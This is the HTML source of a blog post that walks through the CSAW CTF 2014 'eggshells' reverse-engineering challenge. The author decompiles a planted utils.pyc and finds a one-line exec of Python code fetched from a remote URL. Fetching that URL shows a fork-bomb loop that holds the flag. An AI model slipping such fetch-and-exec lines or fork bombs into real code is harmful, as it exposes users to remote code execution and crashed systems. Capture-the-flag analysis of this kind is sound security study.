-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathcsaw-ctf-2014-reverse-engineering-100-eggshells.html
261 lines (218 loc) · 11.7 KB
/
csaw-ctf-2014-reverse-engineering-100-eggshells.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>CSAW CTF 2014 - Reverse Engineering 100: "eggshells"</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="Marina von Steinkirch">
<!-- Le styles -->
<link rel="stylesheet" href="./theme/css/bootstrap.dark.css" type="text/css" />
<style type="text/css">
body {
padding-top: 60px;
padding-bottom: 40px;
}
.tag-1 {
font-size: 13pt;
}
.tag-2 {
font-size: 11pt;
}
.tag-2 {
font-size: 10pt;
}
.tag-4 {
font-size: 8pt;
}
</style>
<link href="./theme/css/bootstrap-responsive.dark.css" rel="stylesheet">
<link href="./theme/css/font-awesome.css" rel="stylesheet">
<link href="./theme/css/pygments.css" rel="stylesheet">
<!-- Le fav and touch icons -->
<link rel="shortcut icon" href="./theme/images/favicon.ico">
<link rel="apple-touch-icon" href="./theme/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="72x72" href="./theme/images/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="114x114" href="./theme/images/apple-touch-icon-114x114.png">
<link href="./feeds/all.atom.xml" type="application/atom+xml" rel="alternate" title="chmod +x singularity.sh ATOM Feed" />
</head>
<body>
<div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container-fluid">
<a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<a class="brand" href="./index.html">chmod +x singularity.sh </a>
<div class="nav-collapse">
<ul class="nav">
<li class="divider-vertical"></li>
<ul class="nav pull-right">
<li><a href="./authors.html">About</a></li>
<li><a href="./archives.html"><b>Archives</b></a></li>
<li>
<a href="https://github.com/bt3gl">github
<!--<i class="icon-github-sign icon-large" ></i>-->
</a></li>
<li>
<a href="https://twitter.com/1bt337">
<!--<i class="icon-twitter-sign icon-large"></i> -->
twitter
</a></li>
<li><a href="http://bt3gl.github.io/projects_page/index.html">Bygone Playful Times
</a></li>
</ul>
</ul>
<!--<p class="navbar-text pull-right">Logged in as <a href="#">username</a></p>-->
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container-fluid">
<div class="row">
<div class="span9" id="content">
<section id="content">
<article>
<header>
<h1>
<a href=""
rel="bookmark"
title="Permalink to CSAW CTF 2014 - Reverse Engineering 100: "eggshells"">
CSAW CTF 2014 - Reverse Engineering 100: "eggshells"
</a>
</h1>
</header>
<div class="entry-content">
<div class="well">
<footer class="post-info">
<abbr class="published" title="2014-09-22T09:20:00">
Mon 22 September 2014 </abbr>
<span class="label"> Category</span>
<a href="./category/reverse-engineering.html"><i class="icon-folder-open"></i>Reverse Engineering</a>
<span class="label">Tags</span>
<a href="./tag/ctf.html"><i class="icon-tag"></i>CTF</a>
<a href="./tag/csaw.html"><i class="icon-tag"></i>CSAW</a>
<a href="./tag/uncompyle2.html"><i class="icon-tag"></i>uncompyle2</a>
</footer><!-- /.post-info --> </div>
<p>This is the first exploitation problem and it starts with the following text:</p>
<blockquote>
<p>I trust people on the Internet all the time, do you?</p>
<p>Written by ColdHeat</p>
<p>eggshells-master.zip</p>
</blockquote>
<h2>Unzipping and Analyzing the Files</h2>
<p>Let’s unzip the provided zip file:</p>
<div class="highlight"><pre><span class="nv">$ </span>unzip eggshells-master.zip
</pre></div>
<p>This creates a directory called <em>eggshells-master</em> that contains several <em>Python</em> and <em>exe</em> files. Let us look closer to the contend of this folder:</p>
<div class="highlight"><pre><span class="nv">$ </span>tree .
├── capstone.py
├── distorm.py
├── interpreter.py
├── main.py
├── nasm
│ ├── LICENSE
│ ├── nasm.exe
│ ├── ndisasm.exe
│ └── rdoff
│ ├── ldrdf.exe
│ ├── rdf2bin.exe
│ ├── rdf2com.exe
│ ├── rdf2ihx.exe
│ ├── rdf2ith.exe
│ ├── rdf2srec.exe
│ ├── rdfdump.exe
│ ├── rdflib.exe
│ └── rdx.exe
├── nasm.py
├── server.py
├── shellcode.py
├── utils.pyc
└── wrapper.py
</pre></div>
<p>Do you see anything unusual?</p>
<h2>Decompiled a pre-compiled Python File</h2>
<p>A pre-compiled Python file stands out in this list: <em>utils.pyc</em>. We need to decompile it. For this task we use <a href="https://github.com/gstarnberger/uncompyle">uncompyle2</a>, which can be installed with:</p>
<div class="highlight"><pre><span class="nv">$ </span>sudo pip install uncompyle2
</pre></div>
<p>Let's learn a bit more about this tool with <code>uncompyle2 --help</code>. The usage is straightfoward, but it's a good knowledge to learn about the <em>-o</em> flag, which will decompile to a <em>.dis</em> file instead of <em>stdout</em>:</p>
<div class="highlight"><pre>Usage: uncompyle2 <span class="o">[</span>OPTIONS<span class="o">]</span>... <span class="o">[</span> FILE | DIR<span class="o">]</span>...
Examples:
uncompyle2 foo.pyc bar.pyc <span class="c"># decompile foo.pyc, bar.pyc to stdout</span>
uncompyle2 -o . foo.pyc bar.pyc <span class="c"># decompile to ./foo.dis and ./bar.dis</span>
uncompyle2 -o /tmp /usr/lib/python1.5 <span class="c"># decompile whole library</span>
Options:
-o <path> output decompiled files to this path:
<span class="k">if </span>multiple input files are decompiled, the common prefix
is stripped from these names and the remainder appended to
<path>
uncompyle -o /tmp bla/fasel.pyc bla/foo.pyc
-> /tmp/fasel.dis, /tmp/foo.dis
uncompyle -o /tmp bla/fasel.pyc bar/foo.pyc
-> /tmp/bla/fasel.dis, /tmp/bar/foo.dis
</pre></div>
<p>We could also use <em>.py</em> extension if we like:</p>
<div class="highlight"><pre> --py use <span class="s1">'.py'</span> extension <span class="k">for </span>generated files
</pre></div>
<p>Also, we learn about all the possible outputs:</p>
<div class="highlight"><pre> Extensions of generated files:
<span class="s1">'.pyc_dis'</span> <span class="s1">'.pyo_dis'</span> successfully decompiled <span class="o">(</span>and verified <span class="k">if</span> --verify<span class="o">)</span>
<span class="s1">'.py'</span> with --py option
+ <span class="s1">'_unverified'</span> successfully decompile but --verify failed
+ <span class="s1">'_failed'</span> uncompyle failed <span class="o">(</span>contact author <span class="k">for </span>enhancement<span class="o">)</span>
</pre></div>
<p>All right, no more diverging. Let's play! We run the <code>uncompyle2</code> command and obtain the following:</p>
<div class="highlight"><pre><span class="nv">$ </span>uncompyle2 utils.pyc
<span class="c">#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py</span>
<span class="nb">exec </span>__import__<span class="o">(</span><span class="s1">'urllib2'</span><span class="o">)</span>.urlopen<span class="o">(</span><span class="s1">'http://kchung.co/lol.py'</span><span class="o">)</span>.read<span class="o">()</span>
+++ okay decompyling utils.pyc
<span class="c"># decompiled 1 files: 1 okay, 0 failed, 0 verify failed</span>
</pre></div>
<h2>Parsing the Result and Voilà</h2>
<p>So all that this file does is in this line:</p>
<div class="highlight"><pre><span class="k">exec</span> <span class="nb">__import__</span><span class="p">(</span><span class="s">'urllib2'</span><span class="p">)</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="s">'http://kchung.co/lol.py'</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</pre></div>
<p>To understand this code, we need to know that Python's <a href="https://docs.python.org/2/reference/simple_stmts.html#exec">exec</a> method performs dynamic execution of code. In this problem, <em>exec</em> starts importing <a href="https://docs.python.org/2/library/urllib2.html#module-urllib2">urllib2</a>, which is a library for opening URLs. It has the method <a href="https://docs.python.org/2/library/urllib2.html#urllib2.urlopen">urlopen()</a> to open the URL url, which can be either a string or a request object. This function returns a file-like object with three additional methods. Finally, <a href="http://www.tutorialspoint.com/python/file_read.htm">read()</a> would read this returned file.</p>
<p>So all that this script does is to try running a Python file that is hosted online!
Well, let's see what this file does! Let's just <em>curl</em> <a href="http://kchung.co/lol.py">http://kchung.co/lol.py</a>:</p>
<div class="highlight"><pre><span class="nv">$ </span> curl http://kchung.co/lol.py
import os
<span class="k">while </span>True:
try:
os.fork<span class="o">()</span>
except:
os.system<span class="o">(</span><span class="s1">'start'</span><span class="o">)</span>
<span class="c"># flag{trust_is_risky}</span>
</pre></div>
<p>Yaaay! The flag is <strong>trust_is_risky</strong>! Easy!</p>
<p><strong>Hack all the things!</strong></p>
</div><!-- /.entry-content -->
<div class="comments">
<h2>Comments !</h2>
<div id="disqus_thread"></div>
<script type="text/javascript">
var disqus_identifier = "csaw-ctf-2014-reverse-engineering-100-eggshells.html";
(function() {
var dsq = document.createElement('script');
dsq.type = 'text/javascript'; dsq.async = true;
dsq.src = 'http://bt3gl.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] ||
document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
</script>
</div>
</article>
</section>
</div><!--/span-->
</div><!--/row-->
<footer>
<address id="about">
</address><!-- /#about -->
</footer>
</div><!--/.fluid-container-->
<script src="./theme/js/jquery-1.7.2.min.js"></script>
<script src="./theme/js/bootstrap.min.js"></script>
</body>
</html>